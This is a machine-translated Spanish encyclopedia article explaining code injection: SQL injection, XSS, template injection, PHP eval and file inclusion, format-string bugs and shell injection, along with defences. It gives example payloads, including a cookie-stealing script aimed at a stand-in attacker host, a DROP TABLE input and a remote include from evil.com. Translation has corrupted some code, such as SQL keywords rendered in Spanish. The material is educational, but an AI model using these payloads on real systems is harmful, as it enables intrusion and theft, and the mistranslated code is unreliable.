La inyección de código es la explotación de un error informático causado por el procesamiento de datos no válidos. Un atacante utiliza la inyección para introducir (o "inyectar") código en un programa informático vulnerable y cambiar el curso de ejecución . El resultado de una inyección de código exitosa puede ser desastroso, al permitir, por ejemplo, que se propaguen virus o gusanos informáticos .
Las vulnerabilidades de inyección de código ocurren cuando una aplicación envía datos que no son de confianza a un intérprete . Los fallos de inyección se encuentran con mayor frecuencia en consultas SQL , LDAP , XPath , NoSQL , comandos del sistema operativo, analizadores XML , encabezados SMTP , argumentos de programa, etc. Los fallos de inyección tienden a ser más fáciles de descubrir cuando se examina el código fuente que mediante pruebas. [1] Los escáneres y fuzzers pueden ayudar a encontrar fallas en la inyección. [2]
La inyección puede provocar pérdida o corrupción de datos, falta de responsabilidad o denegación de acceso . En ocasiones, la inyección puede conducir a la adquisición completa del host.
Ciertos tipos de inyección de código son errores de interpretación, lo que da un significado especial a la entrada del usuario. Existen errores de interpretación similares fuera del mundo de la informática, como la rutina de comedia ¿ Quién está primero? . En la rutina, no se logra distinguir los nombres propios de las palabras regulares. Del mismo modo, en algunos tipos de inyección de código, no se puede distinguir la entrada del usuario de los comandos del sistema.
Las técnicas de inyección de código son populares en la piratería o craqueo de sistemas para obtener información, escalada de privilegios o acceso no autorizado a un sistema. La inyección de código se puede utilizar de forma malévola para muchos propósitos, entre ellos:
Los ataques de inyección de código en Internet de las cosas también podrían tener consecuencias graves, como violaciones de datos e interrupciones del servicio. [3]
En 2008, el 5,66% de todas las vulnerabilidades reportadas ese año se clasificaron como inyección de código, el año más alto registrado. En 2015, esta cifra había disminuido al 0,77%. [4]
La inyección de código puede utilizarse con buenas intenciones; por ejemplo, cambiar o modificar el comportamiento de un programa o sistema mediante la inyección de código puede hacer que el sistema se comporte de cierta manera sin ninguna intención maliciosa. [5] [6] La inyección de código podría, por ejemplo:
Algunos usuarios pueden realizar inyección de código sin sospecharlo porque quienes desarrollaron originalmente el sistema no tuvieron en cuenta la información que proporcionaron a un programa. Por ejemplo:
Otro uso benigno de la inyección de código podría ser el descubrimiento de fallas de inyección en sí, con la intención de corregirlas. Esto se conoce como prueba de penetración de sombrero blanco .
Para evitar problemas de inyección de código, utilice un manejo seguro de entrada y salida, como:
htmlspecialchars()
función para escapar de caracteres especiales para una salida segura de texto en HTML y mysqli::real_escape_string()
para aislar los datos que se incluirán en una solicitud SQL, para proteger contra la inyección SQL.HttpOnly
es un indicador para las cookies HTTP que, cuando se establece, no permite la interacción del script del lado del cliente con las cookies, evitando así ciertos ataques XSS. [10]Las soluciones enumeradas anteriormente se ocupan principalmente de la inyección de código HTML o script basado en web en una aplicación del lado del servidor. Sin embargo, se deben adoptar otros enfoques cuando se trata de la inyección de código de usuario en la máquina del usuario, lo que resulta en ataques de elevación de privilegios. Algunos enfoques que se utilizan para detectar y aislar inyecciones de código administrado y no administrado son:
La inyección SQL aprovecha la sintaxis de SQL para inyectar comandos maliciosos que pueden leer o modificar una base de datos, o comprometer el significado de la consulta original. [13]
Por ejemplo, considere una página web que tiene dos campos para permitir a los usuarios ingresar un nombre de usuario y una contraseña. El código detrás de la página generará una consulta SQL para comparar la contraseña con la lista de nombres de usuario:
SELECCIONE Lista de usuarios . Nombre de usuario DESDE UserList DONDE UserList . Nombre de usuario = 'Nombre de usuario' Y Lista de usuarios . Contraseña = 'Contraseña'
Si esta consulta devuelve alguna fila, se concede el acceso. Sin embargo, si el usuario malintencionado ingresa un nombre de usuario válido e inyecta algún código válido ( password' OR '1'='1
) en el campo Contraseña, la consulta resultante se verá así:
SELECCIONE Lista de usuarios . Nombre de usuario DESDE UserList DONDE UserList . Nombre de usuario = 'Nombre de usuario' Y Lista de usuarios . Contraseña = 'contraseña' O '1' = '1'
En el ejemplo anterior, se supone que "Contraseña" está en blanco o es una cadena inofensiva. " '1'='1'
" siempre será verdadero y se devolverán muchas filas, permitiendo así el acceso.
La técnica puede perfeccionarse para permitir la ejecución de múltiples declaraciones, o incluso cargar y ejecutar programas externos.
Asuma una consulta con el siguiente formato:
SELECCIONAR Usuario . ID de usuario DESDE Usuario DONDE Usuario . UserID = ' " + UserID + " ' Y Usuario . Contraseña = ' " + Contraseña + " '
Si un adversario tiene lo siguiente como entradas:
UserID: ';DROP TABLE User; --'
Password: 'OR"='
la consulta se analizará para que sea:
SELECCIONAR Usuario . ID de usuario DESDE Usuario DONDE Usuario . ID de usuario = '' ; DROP TABLE Usuario ; --'Y Contraseña = ''O"='
El resultado es que la tabla User
se eliminará de la base de datos. Esto ocurre porque el ;
símbolo significa el final de un comando y el comienzo de uno nuevo. --
significa el comienzo de un comentario.
La inyección de código es la inyección o introducción maliciosa de código en una aplicación. Algunos servidores web tienen un script de libro de visitas que acepta pequeños mensajes de los usuarios y normalmente recibe mensajes como:
Muy lindo sitio!
Sin embargo, una persona malintencionada puede conocer una vulnerabilidad de inyección de código en el libro de visitas e ingresar un mensaje como:
Buen sitio, creo que lo aceptaré. ventana <script> . _ _ ubicación = "https://some_attacker/evilcgi/cookie.cgi?steal=" + escape ( documento . cookie )</ script >
Si otro usuario ve la página, se ejecutará el código inyectado. Este código puede permitir al atacante hacerse pasar por otro usuario. Sin embargo, este mismo error de software puede ser activado accidentalmente por un usuario modesto, lo que hará que el sitio web muestre un código HTML incorrecto.
La inyección de secuencias de comandos y HTML es un tema popular, comúnmente denominado " secuencias de comandos entre sitios " o "XSS". XSS se refiere a una falla de inyección por la cual la entrada del usuario a un script web o algo similar se coloca en el HTML de salida, sin ser verificado en busca de código HTML o scripting.
Muchos de estos problemas están relacionados con suposiciones erróneas sobre qué datos de entrada son posibles o los efectos de datos especiales. [14]
Los motores de plantillas se utilizan a menudo en aplicaciones web modernas para mostrar datos dinámicos. Sin embargo, confiar en datos de usuario no validados puede conducir con frecuencia a vulnerabilidades críticas [15] , como inyecciones de plantillas del lado del servidor. Si bien esta vulnerabilidad es similar a las secuencias de comandos entre sitios , la inyección de plantilla se puede aprovechar para ejecutar código en el servidor web en lugar de en el navegador del visitante. Abusa de un flujo de trabajo común de las aplicaciones web que a menudo utilizan entradas y plantillas del usuario para representar una página web. El siguiente ejemplo muestra el concepto. Aquí la plantilla {{visitor_name}}
se reemplaza con datos durante el proceso de renderizado.
Hola {{visitor_name}}
Un atacante puede utilizar este flujo de trabajo para inyectar código en el proceso de renderizado proporcionando un archivo visitor_name
. Dependiendo de la implementación de la aplicación web, podría optar por inyectar {{7*'7'}}
lo que el renderizador podría resolver Hello 7777777
. Tenga en cuenta que el servidor web real ha evaluado el código malicioso y, por lo tanto, podría ser vulnerable a la ejecución remota de código .
Una vulnerabilidad de inyección ocurre cuando un atacante puede controlar toda o parte de una cadena de entrada que se introduce en una llamada de función. [dieciséis]eval()
eval()
$mivar = 'algún valor' ; $x = $_GET [ 'arg' ]; eval ( '$mivar = ' . $x . ';' );
El argumento de " eval
" se procesará como PHP , por lo que se pueden agregar comandos adicionales. Por ejemplo, si "arg" se establece en " ", se ejecuta código adicional que ejecuta un programa en el servidor, en este caso " ".10; system('/bin/echo uh-oh')
/bin/echo
PHP permite la serialización y deserialización de objetos completos . Si se permiten entradas que no son de confianza en la función de deserialización, es posible sobrescribir las clases existentes en el programa y ejecutar ataques maliciosos. [17] Un ataque de este tipo a Joomla se encontró en 2013. [18]
Considere este programa PHP (que incluye un archivo especificado por solicitud):
<?php $color = 'azul' ; if ( isset ( $_GET [ 'color' ])) $color = $_GET [ 'color' ]; requerir ( $color . '.php' );
El ejemplo podría leerse como si solo se pudieran cargar archivos de color similares, mientras que los atacantes podrían hacer blue.php
que PHP cargue el archivo externo.red.php
COLOR=http://evil.com/exploit
Los errores de formato de cadena aparecen con mayor frecuencia cuando un programador desea imprimir una cadena que contiene datos proporcionados por el usuario. El programador puede escribir por error printf(buffer)
en lugar de printf("%s", buffer)
. La primera versión se interpreta buffer
como una cadena de formato y analiza las instrucciones de formato que pueda contener. La segunda versión simplemente imprime una cadena en la pantalla, como pretendía el programador. Considere el siguiente programa corto en C que tiene una matriz de caracteres variable local password
que contiene una contraseña; el programa solicita al usuario un número entero y una cadena, luego repite la cadena proporcionada por el usuario.
char entrada_usuario [ 100 ]; int int_in ; contraseña de caracteres [ 10 ] = "Contraseña1" ; printf ( "Ingrese un número entero \n " ); scanf ( "%d" , & int_in ); printf ( "Por favor ingrese una cadena \n " ); fgets ( entrada_usuario , tamaño de ( entrada_usuario ), entrada estándar ); printf ( entrada_usuario ); // La versión segura es: printf("%s", user_input); printf ( " \n " ); devolver 0 ;
Si la entrada del usuario se completa con una lista de especificadores de formato como %s%s%s%s%s%s%s%s
, entonces printf()
comenzará a leer desde la pila . Eventualmente, uno de los %s
especificadores de formato accederá a la dirección de password
, que está en la pila, y la imprimirá Password1
en la pantalla.
La inyección de shell (o inyección de comandos [19] ) lleva el nombre de los shells de Unix , pero se aplica a la mayoría de los sistemas que permiten que el software ejecute mediante programación una línea de comandos . Aquí hay un ejemplo de script tcsh vulnerable :
#!/bin/tcsh # comprueba las salidas de arg que coinciden si arg es uno if ( $1 == 1 ) echo que coincide
Si lo anterior se almacena en el archivo ejecutable ./check
, el comando de shell ./check " 1 ) evil"
intentará ejecutar el comando de shell inyectado evil
en lugar de comparar el argumento con el constante. Aquí, el código atacado es el código que intenta comprobar el parámetro, el mismo código que podría haber estado intentando validar el parámetro para defenderse de un ataque. [20]
Cualquier función que pueda usarse para componer y ejecutar un comando de shell es un vehículo potencial para lanzar un ataque de inyección de shell. Entre estos se encuentran system(), StartProcess()
y System.Diagnostics.Process.Start().
Los sistemas cliente-servidor , como la interacción del navegador web con los servidores web, son potencialmente vulnerables a la inyección de shell. Considere el siguiente programa PHP breve que se puede ejecutar en un servidor web para ejecutar un programa externo llamado funnytext
para reemplazar una palabra que el usuario envió con alguna otra palabra.
<?php passthru ( "/bin/funnytext " . $_GET [ 'USER_INPUT' ]);
Lo passthru
anterior compone un comando de shell que luego es ejecutado por el servidor web. Dado que parte del comando que compone se toma de la URL proporcionada por el navegador web, esto permite que la URL inyecte comandos de shell maliciosos. Se puede inyectar código en este programa de varias maneras explotando la sintaxis de varias características del shell (esta lista no es exhaustiva): [21]
Algunos lenguajes ofrecen funciones para escapar o citar correctamente cadenas que se utilizan para construir comandos de shell:
escapeshellarg()
yescapeshellcmd()
shlex.quote()
Sin embargo, esto todavía impone a los programadores la carga de conocer/aprender sobre estas funciones y recordar usarlas cada vez que usan comandos de shell. Además de utilizar estas funciones, también se recomienda validar o desinfectar la entrada del usuario.
Una alternativa más segura es utilizar API que ejecuten programas externos directamente, en lugar de a través de un shell, evitando así la posibilidad de inyección de shell. Sin embargo, estas API tienden a no admitir varias características convenientes de los shells y/o a ser más engorrosas/prolijas en comparación con la sintaxis concisa del shell.
El uso benévolo de la inyección de código ocurre cuando un usuario cambia el comportamiento de un programa para cumplir con los requisitos del sistema.